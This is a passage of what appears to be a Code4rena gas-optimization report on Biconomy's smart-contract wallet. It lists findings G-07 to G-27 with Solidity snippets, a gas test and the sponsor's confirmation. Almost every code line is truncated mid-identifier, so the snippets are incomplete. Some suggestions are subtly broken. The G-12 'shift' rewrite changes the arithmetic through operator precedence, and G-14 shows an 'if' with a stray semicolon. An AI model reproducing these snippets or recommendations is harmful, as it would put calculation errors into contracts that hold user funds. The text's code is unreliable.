The optimizer was turned on and set to 200 runs test was done in 0.8.12

```
contract GasTest is DSTest {

    Contract0 c0;
    Contract1 c1;

    function setUp() public {
        c0 = new Contract0();
        c1 = new Contract1();
    }

    function testGas() public {
        c0._setImplementation(0xAb8483F64d9C6d1EcF9b849Ae677dD3
        c1._setImplementation(0xAb8483F64d9C6d1EcF9b849Ae677dD3
    }
}

contract Contract0 {
    // singleton slot always needs to be first declared variable
```

```
    /* This is the keccak-256 hash of "biconomy.scw.proxy.implem
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x37722d148

    function _setImplementation(address _imp) public {
        assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256
        // solhint-disable-next-line no-inline-assembly
        assembly {
          sstore(_IMPLEMENTATION_SLOT, _imp)
         }
    }
}

contract Contract1 {
    // singleton slot always needs to be first declared variable

    /* This is the keccak-256 hash of "biconomy.scw.proxy.implem
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x37722d148

    function _setImplementation(address _imp) public {

        assembly {
            sstore(_IMPLEMENTATION_SLOT, _imp)
        }
    }
}
```

Gas Report

src/test/test.sol:Contract0 contract		
Deployment Cost	Deployment Size	
71123	387	
Function Name	min	avg
_setImplementation	22435	224

src/test/test.sol:Contract1 contract		

Deployment Cost	Deployment Size	
38893	225	

Function Name	min	avg
_setImplementation	22336	223

[G-07] Instead of `emit ExecutionSuccess` and `emit ExecutionFailure` a single `emit Execution` is gas efficient

If the `emit ExecutionSuccess` and `emit ExecutionFailure` at the end of the `execute` function are removed and arranged as follows, gas savings will be achieved. The last element of the `event Execution` bool success will indicate whether the operation was successful or unsuccessful, with a value of true or false.

```
contracts\smart-contract-wallet\base\Executor.sol:
- event ExecutionFailure(address to, uint256 value, bytes data,
- event ExecutionSuccess(address to, uint256 value, bytes data,
+ event Execution(address to, uint256 value, bytes data, Enum.Op

  13     function execute(
  31         // Emit events here..
- 32:         if (success) emit ExecutionSuccess(to, value, data
- 33:         else emit ExecutionFailure(to, value, data, operat
+             emit Execution (to, value, data, operation, txGas,
  34     }
  35
  36 }
```

[G-08] Unnecessary computation

When emitting an event that includes a new and an old value, it is cheaper in gas to avoid caching the old value in memory. Instead, emit the event, then save the new value in storage.

```
contracts\smart-contract-wallet\SmartAccount.sol:
  111         address oldOwner = owner;
```

```
+ 113:         emit EOAChanged(address(this), oldOwner, _newOwner
  112         owner = _newOwner;
- 113:         emit EOAChanged(address(this), oldOwner, _newOwner
  114     }
```

SmartAccount.sol#L468

[G-09] Using delete instead of setting `info` struct to 0 saves gas

```
contracts\smart-contract-wallet\aa-4337\core\StakeManager.sol:
   96     function withdrawStake(address payable withdrawAddress
   97         DepositInfo storage info = deposits[msg.sender];
  102:         info.unstakeDelaySec = 0;
  103:         info.withdrawTime = 0;
  104:         info.stake = 0;
```

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/aa-4337/core/StakeManager.sol#L102-L104

[G-10] Empty blocks should be removed or emit something

The code should be refactored such that they no longer exist, or the block should do something useful, such as emitting an event or reverting. If the contract is meant to be extended, the contract should be abstract and the function signatures be added without any default implementation. If the block is an empty if-statement block to avoid doing subsequent checks in the else-if/else conditions, the else-if/else conditions should be nested under the negation of the if-statement, because they involve different classes of checks, which may lead to the introduction of errors when the code is later modified `(if(x){}else if(y){...}else{...} => if(!x){if(y){...}else{...}})` . Empty receive()/fallback() payable functions that are not used, can be removed to save deployment gas.

```
contracts/smart-contract-wallet/SmartAccount.sol:
  550:     receive() external payable {}
```

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L550

[G-11] Using `storage` instead of `memory` for `structs/arrays` saves gas

When fetching data from a storage location, assigning the data to a `memory` variable causes all fields of the struct/array to be read from storage, which incurs a Gcoldsload (2100 gas) for each field of the struct/array. If the fields are read from the new memory variable, they incur an additional MLOAD rather than a cheap stack read. Instead of declearing the variable with the `memory` keyword, declaring the variable with the `storage` keyword and caching any fields that need to be re-read in stack variables, will be much cheaper, only incuring the Gcoldsload for the fields actually read. The only time it makes sense to read the whole struct/array into a `memory` variable, is if the full struct/array is being returned by the function, is being passed to a function that requires `memory`, or if the array/struct is being read from another `memory` array/struct

11 results - 2 files:

```
contracts\smart-contract-wallet\aa-4337\core\EntryPoint.sol:
  171:     MemoryUserOp memory mUserOp = opInfo.mUserOp;

  229:     UserOpInfo memory outOpInfo;

  234:     StakeInfo memory paymasterInfo = getStakeInfo(outOpIr

  235:     StakeInfo memory senderInfo = getStakeInfo(outOpInfo.

  238:     StakeInfo memory factoryInfo = getStakeInfo(factory);

  241:     AggregatorStakeInfo memory aggregatorInfo = Aggregatc

  293:     MemoryUserOp memory mUserOp = opInfo.mUserOp;

  351:     MemoryUserOp memory mUserOp = opInfo.mUserOp;

  389:     MemoryUserOp memory mUserOp = outOpInfo.mUserOp;
```

```
444:     MemoryUserOp memory mUserOp = opInfo.mUserOp;
```

EntryPoint.sol#L171, EntryPoint.sol#L229, EntryPoint.sol#L234, EntryPoint.sol#L235, EntryPoint.sol#L238, EntryPoint.sol#L241, EntryPoint.sol#L293, EntryPoint.sol#L351, EntryPoint.sol#L389, EntryPoint.sol#L444

```
contracts\smart-contract-wallet\paymasters\verifying\singleton\V
  126:     PaymasterContext memory data = context.decodePaymaste
```

VerifyingSingletonPaymaster.sol#L126

[G-12] Use Shift Right/Left instead of Division/Multiplication

A division/multiplication by any number x being a power of 2 can be calculated by shifting to the right/left. While the DIV opcode uses 5 gas, the SHR opcode only uses 3 gas.

Furthermore, Solidity's division operation also includes a division-by-0 prevention which is bypassed using shifting.

3 results 2 files:

```
contracts/smart-contract-wallet/libs/Math.sol:
- 36:         return (a & b) + (a ^ b) / 2;
+ 36:         return (a & b) + (a ^ b) >> 1;
```

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/libs/Math.sol#L36

```
contracts/smart-contract-wallet/SmartAccount.sol:
- 200:       uint256 startGas = gasleft() + 21000 + msg.data.lenc
+ 200:       uint256 startGas = gasleft() + 21000 + msg.data.lenc
```

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L200

```
- 224:        require(gasleft() >= max((_tx.targetTxGas * 64) / 6
+ 224:        require(gasleft() >= max((_tx.targetTxGas << 6) / 6
```

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L224

[G-13] Use constants instead of type(uintx).max

type(uint120).max or type(uint112).max, etc. it uses more gas in the distribution process and also for each transaction than constant usage.

3 results - 2 files:

```
contracts\smart-contract-wallet\aa-4337\core\EntryPoint.sol:
  397:        require(maxGasValues <= type(uint120).max, "AA94 ga
```

EntryPoint.sol#L397

```
contracts\smart-contract-wallet\aa-4337\core\StakeManager.sol:
  41:         require(newAmount <= type(uint112).max, "deposit o

  65:         require(stake < type(uint112).max, "stake overflow
```

StakeManager.sol#L41, StakeManager.sol#L65

[G-14] Add `unchecked {}` for subtractions where the operands cannot underflow because of a previous `require` or `if` statement

```
require(a <= b); x = b - a => require(a <= b); unchecked { x = b
```

```
if(a <= b); x = b - a => if(a <= b); unchecked { x = b - a }
```

This will stop the check for overflow and underflow so it will save gas.

2 results - 2 files:

```
contracts/smart-contract-wallet/aa-4337/core/StakeManager.sol:
  116         DepositInfo storage info = deposits[msg.sender];
  117         require(withdrawAmount <= info.deposit, "Withdraw
  118:         info.deposit = uint112(info.deposit - withdrawAmo
```

StakeManager.sol#L118

```
contracts/smart-contract-wallet/paymasters/verifying/singleton/V
  56        uint256 currentBalance = paymasterIdBalances[msg.ser
  57        require(amount <= currentBalance, "Insufficient amou
  58:       paymasterIdBalances[msg.sender] -= amount;
```

VerifyingSingletonPaymaster.sol#L58

[G-15] Usage of uints/ints smaller than 32 bytes (256 bits) incurs overhead

When using elements that are smaller than 32 bytes, your contracts gas usage may be higher. This is because the EVM operates on 32 bytes at a time. Therefore, if the element is smaller than that, the EVM must use more operations in order to reduce the size of the element from 32 bytes to the desired size.

https://docs.soliditylang.org/en/v0.8.11/internals/layout_in_storage.html

Use a larger size then downcast where needed.

8 results - 3 files:

```
contracts\smart-contract-wallet\aa-4337\core\StakeManager.sol:
   42:    info.deposit = uint112(newAmount);
```

```
59:    function addStake(uint32 _unstakeDelaySec) public payab

69:    uint112(stake),

84:    uint64 withdrawTime = uint64(block.timestamp) + info.ur

118:  info.deposit = uint112(info.deposit - withdrawAmount);
```

StakeManager.sol#L42, StakeManager.sol#L59, StakeManager.sol#L69, StakeManager.sol#L84, StakeManager.sol#L118

```
contracts\smart-contract-wallet\paymasters\BasePaymaster.sol:
   75:    function addStake(uint32 unstakeDelaySec) external paya
```

BasePaymaster.sol#L75

```
contracts\smart-contract-wallet\aa-4337\core\EntryPoint.sol:
  336:  senderInfo.deposit = uint112(deposit - requiredPrefund);

  362:  paymasterInfo.deposit = uint112(deposit - requiredPreFur
```

EntryPoint.sol#L336, EntryPoint.sol#L362

[G-16] Reduce the size of error messages (Long revert Strings)

Shortening revert strings to fit in 32 bytes will decrease deployment time gas and will decrease runtime gas when the revert condition is met.

Revert strings that are longer than 32 bytes require at least one additional mstore, along with additional overhead for computing memory offset, etc.

13 results - 4 files:

```
contracts/smart-contract-wallet/SmartAccount.sol:
   77:          require(msg.sender == owner, "Smart Account:: Ser
```

```
110:         require(_newOwner != address(0), "Smart Account::

128:         require(_newEntryPoint != address(0), "Smart Acc
```

SmartAccount.sol#L77, SmartAccount.sol#L110, SmartAccount.sol#L128

```
contracts/smart-contract-wallet/SmartAccountFactory.sol:
  18:         require(_baseImpl != address(0), "base wallet addr
```

SmartAccountFactory.sol#L18

```
contracts/smart-contract-wallet/libs/MultiSend.sol:
  27:         require(address(this) != multisendSingleton, "Mult
```

MultiSend.sol#L27

```
contracts/smart-contract-wallet/paymasters/verifying/singleton/V
  36:         require(address(_entryPoint) != address(0), "Veri

  37:         require(_verifyingSigner != address(0), "Verifyir

  49:         require(!Address.isContract(paymasterId), "Paymas

  50:         require(paymasterId != address(0), "Paymaster Id

  66:         require(_newVerifyingSigner != address(0), "Verif

 107:         require(sigLength == 64 || sigLength == 65, "Veri

 108:         require(verifyingSigner == hash.toEthSignedMessag

 109:         require(requiredPreFund <= paymasterIdBalances[pa
```

VerifyingSingletonPaymaster.sol#L36, VerifyingSingletonPaymaster.sol#L37, VerifyingSingletonPaymaster.sol#L49, VerifyingSingletonPaymaster.sol#L50, VerifyingSingletonPaymaster.sol#L66, VerifyingSingletonPaymaster.sol#L107, VerifyingSingletonPaymaster.sol#L108, VerifyingSingletonPaymaster.sol#L109

Recommendation

Revert strings > 32 bytes or use Custom Error()

[G-17] Use `double require` instead of using `&&`

Using double require instead of operator && can save more gas.
When having a require statement with 2 or more expressions needed, place the expression that cost less gas first.

```
3 results - 1 file

contracts\smart-contract-wallet\base\ModuleManager.sol:
34:     require(module != address(0) && module != SENTINEL_MODULE

49:     require(module != address(0) && module != SENTINEL_MODULE

68:     require(msg.sender != SENTINEL_MODULES && modules[msg.ser
```

ModuleManager.sol#L34, ModuleManager.sol#L49, ModuleManager.sol#L68

Recommendation Code

```
contracts\smart-contract-wallet\base\ModuleManager.sol#L68
- 68:     require(msg.sender != SENTINEL_MODULES && modules[msg.s
+           require(msg.sender != SENTINEL_MODULES, "BSA104");
+           require(modules[msg.sender] != address(0), "BSA104");
```

[G-18] Use nested if and, avoid multiple check combinations

Using nested is cheaper than using && multiple check combinations. There are more advantages, such as easier to read code and better coverage reports.

5 results - 2 files:

```
contracts\smart-contract-wallet\aa-4337\core\EntryPoint.sol:
303:     if (mUserOp.paymaster != address(0) && mUserOp.paymaster
```

```
321:     if (_deadline != 0 && _deadline < block.timestamp) {

365:     if (_deadline != 0 && _deadline < block.timestamp) {

410:     if (paymasterDeadline != 0 && paymasterDeadline < deadli
```

EntryPoint.sol#L303, EntryPoint.sol#L321, EntryPoint.sol#L365, EntryPoint.sol#L410

```
contracts\smart-contract-wallet\libs\Math.sol:
147:     if (rounding == Rounding.Up && mulmod(x, y, denominator)
```

Math.sol#L147

Recomendation Code

```
contracts\smart-contract-wallet\aa-4337\core\EntryPoint.sol#L41(
- 410:     if (paymasterDeadline != 0 && paymasterDeadline < deac
+          if (paymasterDeadline != 0) {
+            if (paymasterDeadline < deadline) {
+            }
+          }
```

[G-19] Functions guaranteed to revert_ when callled by normal users can be marked `payable`

If a function modifier or require such as onlyOwner-admin is used, the function will revert if a normal user tries to pay the function. Marking the function as payable will lower the gas cost for legitimate callers because the compiler will not include checks for whether a payment was provided. The extra opcodes avoided are CALLVALUE(2), DUP1(3), ISZERO(3), PUSH2(3), JUMPI(10), PUSH1(3), DUP1(3), REVERT(0), JUMPDEST(1), POP(2) which costs an average of about 21 gas per call to the function, in addition to the extra deployment cost.

18 results - 5 files:

```
contracts\smart-contract-wallet\SmartAccount.sol:
  109:     function setOwner(address _newOwner) external mixedAu

  120:     function updateImplementation(address _implementatior

  127:     function updateEntryPoint(address _newEntryPoint) ext

  449:     function transfer(address payable dest, uint amount)

  455:     function pullTokens(address token, address dest, uint

  460:     function execute(address dest, uint value, bytes call

  465:     function executeBatch(address[] calldata dest, bytes[

  489:     function execFromEntryPoint(address dest, uint value,

  536:     function withdrawDepositTo(address payable withdrawAc
```

SmartAccount.sol#L109, SmartAccount.sol#L120, SmartAccount.sol#L127, SmartAccount.sol#L449, SmartAccount.sol#L455, SmartAccount.sol#L460, SmartAccount.sol#L465, SmartAccount.sol#L489, SmartAccount.sol#L536

```
contracts\smart-contract-wallet\paymasters\verifying\singleton\V
   65:     function setSigner( address _newVerifyingSigner) exte
```

VerifyingSingletonPaymaster.sol#L65

```
contracts\smart-contract-wallet\base\FallbackManager.sol:
  26:     function setFallbackHandler(address handler) public au
```

FallbackManager.sol#L26

```
contracts\smart-contract-wallet\base\ModuleManager.sol:
  32:     function enableModule(address module) public authorize

  47:     function disableModule(address prevModule, address moc
```

ModuleManager.sol#L32, ModuleManager.sol#L47

```
contracts\smart-contract-wallet\paymasters\BasePaymaster.sol:
 24:     function setEntryPoint(IEntryPoint _entryPoint) public

 67:     function withdrawTo(address payable withdrawAddress, ui

 75:     function addStake(uint32 unstakeDelaySec) external paya

 90:     function unlockStake() external onlyOwner {

 99:     function withdrawStake(address payable withdrawAddress)
```

BasePaymaster.sol#L24, BasePaymaster.sol#L67, BasePaymaster.sol#L75, BasePaymaster.sol#L90, BasePaymaster.sol#L99

Recommendation

Functions guaranteed to revert when called by normal users can be marked payable (for only `onlyOwner, mixedAuth, authorized` functions).

[G-20] Setting the *constructor* to `payable`

You can cut out 10 opcodes in the creation-time EVM bytecode if you declare a constructor payable. Making the constructor payable eliminates the need for an initial check of `msg.value == 0` and saves `13 gas` on deployment with no security risks.

Context

4 results - 4 files:

```
contracts/smart-contract-wallet/Proxy.sol:
  15:     constructor(address _implementation) {
```

Proxy.sol#L15

```
contracts/smart-contract-wallet/SmartAccountFactory.sol:
```

```
  17:     constructor(address _baseImpl) {
```

SmartAccountFactory.sol#L17

```
contracts/smart-contract-wallet/libs/MultiSend.sol:
  12:     constructor() {
```

MultiSend.sol#L12

```
contracts/smart-contract-wallet/paymasters/verifying/singleton/V
  35:     constructor(IEntryPoint _entryPoint, address _verifyir
```

VerifyingSingletonPaymaster.sol#L35

```
contracts\smart-contract-wallet\paymasters\BasePaymaster.sol:
  20:     constructor(IEntryPoint _entryPoint) {
```

BasePaymaster.sol#L20

Recommendation

Set the constructor to `payable`

[G-21] Use `assembly` to write *address storage values*

8 results - 4 files:

```
contracts/smart-contract-wallet/SmartAccountFactory.sol:
  17     constructor(address _baseImpl) {
  19:         _defaultImpl = _baseImpl;
```

SmartAccountFactory.sol#L19

```
contracts/smart-contract-wallet/SmartAccount.sol:
```

```
109     function setOwner(address _newOwner) external mixedAut
112:          owner = _newOwner;

127     function updateEntryPoint(address _newEntryPoint) exte
130:          _entryPoint = IEntryPoint(payable(_newEntryPoint)

166      function init(address _owner, address _entryPointAddr
172:          owner = _owner;
173:          _entryPoint =  IEntryPoint(payable(_entryPointAdc
```

SmartAccount.sol#L112, SmartAccount.sol#L130, SmartAccount.sol#L172-L173

```
contracts/smart-contract-wallet/paymasters/verifying/singleton/V
  35     constructor(IEntryPoint _entryPoint, address _verifying
  38:         verifyingSigner = _verifyingSigner;

  65     function setSigner( address _newVerifyingSigner) exterr
  67:         verifyingSigner = _newVerifyingSigner;
```

VerifyingSingletonPaymaster.sol#L38, VerifyingSingletonPaymaster.sol#L67

```
contracts/smart-contract-wallet/paymasters/BasePaymaster.sol:
  24     function setEntryPoint(IEntryPoint _entryPoint) public
  25:         entryPoint = _entryPoint;
  26     }
```

BasePaymaster.sol#L25

Recommendation Code

```
contracts/smart-contract-wallet/paymasters/BasePaymaster.sol#L25
    function setEntryPoint(IEntryPoint _entryPoint) public onlyO
        assembly {
            sstore(entryPoint.slot, _entryPoint)
        }
    }
```

[G-22] ++i/i++ should be unchecked{++i}/unchecked{i++} when it is not possible for them to overflow, as is the case when used in for- and while-loops

The unchecked keyword is new in solidity version 0.8.0, so this only applies to that version or higher, which these instances are.

6 results - 2 files:

```
contracts\smart-contract-wallet\SmartAccount.sol:
  468:     for (uint i = 0; i < dest.length;) {
```

SmartAccount.sol#L468

```
contracts\smart-contract-wallet\aa-4337\core\EntryPoint.sol:
  100:     for (uint256 i = 0; i < opasLen; i++) {

  107:     for (uint256 a = 0; a < opasLen; a++) {

  112:     for (uint256 i = 0; i < opslen; i++) {

  128:     for (uint256 a = 0; a < opasLen; a++) {

  134:     for (uint256 i = 0; i < opslen; i++) {
```

EntryPoint.sol#L100, EntryPoint.sol#L107, EntryPoint.sol#L112, EntryPoint.sol#L128, EntryPoint.sol#L134

[G-23] Sort Solidity operations using short-circuit mode

Short-circuiting is a solidity contract development model that uses `OR/AND` logic to sequence different cost operations. It puts low gas cost operations in the front and high gas cost operations in the back, so that if the front is low If the cost operation is feasible, you can skip (short-circuit) the subsequent high-cost Ethereum virtual machine operation.

```
//f(x) is a low gas cost operation
//g(y) is a high gas cost operation
```

```
//Sort operations with different gas costs as follows
f(x) || g(y)
f(x) && g(y)
```

8 results - 2 files:

```
contracts/smart-contract-wallet/SmartAccount.sol:
   83:     require(msg.sender == owner || msg.sender == address(

  232:     require(success || _tx.targetTxGas != 0 || refundInfo

  495:     require(msg.sender == address(entryPoint()) || msg.se

  511:     require(owner == hash.recover(userOp.signature) || tx
```

SmartAccount.sol#L83, SmartAccount.sol#L232, SmartAccount.sol#L495, SmartAccount.sol#L511

```
contracts/smart-contract-wallet/aa-4337/core/EntryPoint.sol:
  303:     if (mUserOp.paymaster != address(0) && mUserOp.paymast

  321:     if (_deadline != 0 && _deadline < block.timestamp) {

  365:     if (_deadline != 0 && _deadline < block.timestamp) {

  410:     if (paymasterDeadline != 0 && paymasterDeadline < deac
```

EntryPoint.sol#L303, EntryPoint.sol#L321, EntryPoint.sol#L365, EntryPoint.sol#L410

[G-24] `x += y` (`x -= y`) costs more gas than `x = x + y` (`x = x - y`) for state variables

3 results - 1 file:

```
contracts\smart-contract-wallet\paymasters\verifying\singleton\V
51:     paymasterIdBalances[paymasterId] += msg.value;
```

```
58:         paymasterIdBalances[msg.sender] -= amount;

128:     paymasterIdBalances[extractedPaymasterId] -= actualGas(
```

[VerifyingSingletonPaymaster.sol#L51](), [VerifyingSingletonPaymaster.sol#L58](), [VerifyingSingletonPaymaster.sol#L128]()

```
contracts\smart-contract-wallet\paymasters\verifying\singleton\V
- 128:     paymasterIdBalances[extractedPaymasterId] -= actualGa
+ 128:     paymasterIdBalances[extractedPaymasterId] = paymaster
```

`x += y` (`x -= y`) costs more gas than `x = x + y` (`x = x - y`) for state variables.

[G-25] Use a more recent version of solidity

In 0.8.15 the conditions necessary for inlining are relaxed. Benchmarks show that the change significantly decreases the bytecode size (which impacts the deployment cost) while the effect on the runtime gas usage is smaller.

In 0.8.17 prevent the incorrect removal of storage writes before calls to Yul functions that conditionally terminate the external EVM call; Simplify the starting offset of zero-length operations to zero. More efficient overflow checks for multiplication.

```
36 results - 36 files:
contracts/smart-contract-wallet/BaseSmartAccount.sol:
  2: pragma solidity 0.8.12;

contracts/smart-contract-wallet/Proxy.sol:
  2: pragma solidity 0.8.12;

contracts/smart-contract-wallet/SmartAccount.sol:
  2: pragma solidity 0.8.12;

contracts/smart-contract-wallet/SmartAccountFactory.sol:
  2: pragma solidity 0.8.12;

contracts/smart-contract-wallet/aa-4337/core/EntryPoint.sol:
```

```
  6: pragma solidity ^0.8.12;

contracts/smart-contract-wallet/aa-4337/core/SenderCreator.sol:
  2: pragma solidity ^0.8.12;

contracts/smart-contract-wallet/aa-4337/core/StakeManager.sol:
  2: pragma solidity ^0.8.12;

contracts/smart-contract-wallet/aa-4337/interfaces/IAccount.sol:
  2: pragma solidity ^0.8.12;

contracts/smart-contract-wallet/aa-4337/interfaces/IAggregatedAc
  2: pragma solidity ^0.8.12;

contracts/smart-contract-wallet/aa-4337/interfaces/IAggregator.s
  2: pragma solidity 0.8.12;

contracts/smart-contract-wallet/aa-4337/interfaces/IEntryPoint.s
  6: pragma solidity ^0.8.12;

contracts/smart-contract-wallet/aa-4337/interfaces/IPaymaster.sc
  2: pragma solidity ^0.8.12;

contracts/smart-contract-wallet/aa-4337/interfaces/IStakeManager
  2: pragma solidity ^0.8.12;

contracts/smart-contract-wallet/aa-4337/interfaces/UserOperation
  2: pragma solidity ^0.8.12;

contracts/smart-contract-wallet/aa-4337/utils/Exec.sol:
  2: pragma solidity >=0.7.5 <0.9.0;

contracts/smart-contract-wallet/base/Executor.sol:
  2: pragma solidity 0.8.12;

contracts/smart-contract-wallet/base/FallbackManager.sol:
  2: pragma solidity 0.8.12;

contracts/smart-contract-wallet/base/ModuleManager.sol:
  2: pragma solidity 0.8.12;

contracts/smart-contract-wallet/common/Enum.sol:
  2: pragma solidity 0.8.12;

contracts/smart-contract-wallet/common/SecuredTokenTransfer.sol:
  2: pragma solidity 0.8.12;
```

```
contracts/smart-contract-wallet/common/SignatureDecoder.sol:
  2: pragma solidity 0.8.12;

contracts/smart-contract-wallet/common/Singleton.sol:
  2: pragma solidity 0.8.12;

contracts/smart-contract-wallet/handler/DefaultCallbackHandler.s
  2: pragma solidity 0.8.12;

contracts/smart-contract-wallet/interfaces/ERC721TokenReceiver.s
  2: pragma solidity 0.8.12;

contracts/smart-contract-wallet/interfaces/ERC777TokensRecipient
  2: pragma solidity 0.8.12;

contracts/smart-contract-wallet/interfaces/ERC1155TokenReceiver.
  2: pragma solidity 0.8.12;

contracts/smart-contract-wallet/interfaces/IERC165.sol:
  2: pragma solidity 0.8.12;

contracts/smart-contract-wallet/interfaces/IERC1271Wallet.sol:
  2: pragma solidity 0.8.12;

contracts/smart-contract-wallet/interfaces/ISignatureValidator.s
  2: pragma solidity 0.8.12;

contracts/smart-contract-wallet/libs/LibAddress.sol:
  2: pragma solidity 0.8.12;

contracts/smart-contract-wallet/libs/Math.sol:
  4: pragma solidity 0.8.12;

contracts/smart-contract-wallet/libs/MultiSend.sol:
  2: pragma solidity 0.8.12;

contracts/smart-contract-wallet/libs/MultiSendCallOnly.sol:
  2: pragma solidity 0.8.12;

contracts/smart-contract-wallet/paymasters/BasePaymaster.sol:
  2: pragma solidity ^0.8.12;

contracts/smart-contract-wallet/paymasters/PaymasterHelpers.sol:
  2: pragma solidity 0.8.12;
```

```
contracts/smart-contract-wallet/paymasters/verifying/singleton/\
  2: pragma solidity 0.8.12;
```

[G-26] Optimize names to save gas

Contracts most called functions could simply save gas by function ordering via `Method ID`. Calling a function at runtime will be cheaper if the function is positioned earlier in the order (has a relatively lower Method ID) because `22 gas` are added to the cost of a function for every position that came before it. The caller can save on gas if you prioritize most called functions.

Context

All Contracts

Recommendation

Find a lower `method ID` name for the most called functions for example Call() vs. Call1() is cheaper by `22 gas`.
For example, the function IDs in the `SmartAccount.sol` contract will be the most used; A lower method ID may be given.

Proof of Concept

https://medium.com/joyso/solidity-how-does-function-name-affect-gas-consumption-in-smart-contract-47d270d8ac92

SmartAccount.sol function names can be named and sorted according to METHOD ID

```
Sighash   |   Function Signature
========================
affed0e0  =>  nonce()
ce03fdab  =>  nonce(uint256)
b0d691fe  =>  entryPoint()
13af4035  =>  setOwner(address)
025b22bc  =>  updateImplementation(address)
1b71bb6e  =>  updateEntryPoint(address)
f698da25  =>  domainSeparator()
3408e470  =>  getChainId()
```

```
3d46b819  =>  getNonce(uint256)
184b9559  =>  init(address,address,address)
6d5433e6  =>  max(uint256,uint256)
405c3941  =>  execTransaction(Transaction,uint256,FeeRefund,byte
1bb09224  =>  handlePayment(uint256,uint256,uint256,uint256,addr
a18f51e5  =>  handlePaymentRevert(uint256,uint256,uint256,uint25
934f3a11  =>  checkSignatures(bytes32,bytes,bytes)
37cf6f29  =>  requiredTxGas(address,uint256,bytes,Enum.Operatior
c9f909f4  =>  getTransactionHash(address,uint256,bytes,Enum.Oper
8d6a6751  =>  encodeTransactionData(Transaction,FeeRefund,uint25
a9059cbb  =>  transfer(address,uint256)
ac85dca7  =>  pullTokens(address,address,uint256)
b61d27f6  =>  execute(address,uint256,bytes)
18dfb3c7  =>  executeBatch(address[],bytes[])
734cd1e2  =>  _call(address,uint256,bytes)
e8d655cf  =>  execFromEntryPoint(address,uint256,bytes,Enum.Oper
be484bf7  =>  _requireFromEntryPointOrOwner()
ba74b602  =>  _validateAndUpdateNonce(UserOperation)
0f4cd016  =>  _validateSignature(UserOperation,bytes32,address)
c399ec88  =>  getDeposit()
4a58db19  =>  addDeposit()
4d44560d  =>  withdrawDepositTo(address,uint256)
01ffc9a7  =>  supportsInterface(bytes4)
```

[G-27] Upgrade Solidity's optimizer

Make sure Solidity's optimizer is enabled. It reduces gas costs. If you want to gas optimize for contract deployment (costs less to deploy a contract) then set the Solidity optimizer at a low number. If you want to optimize for run-time gas costs (when functions are called on a contract) then set the optimizer to a high number.

Set the optimization value higher than 800 in your hardhat.config.ts file.

```
30:   solidity: {
31:     compilers: [
32:       {
33:         version: "0.8.12",
34:         settings: {
35:           optimizer: { enabled: true, runs: 200 },
36:         },
37:       },
```

livingrockrises (Biconomy) confirmed

Disclosures

C4 is an open organization governed by participants in the community.

C4 Contests incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Contest submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.

Top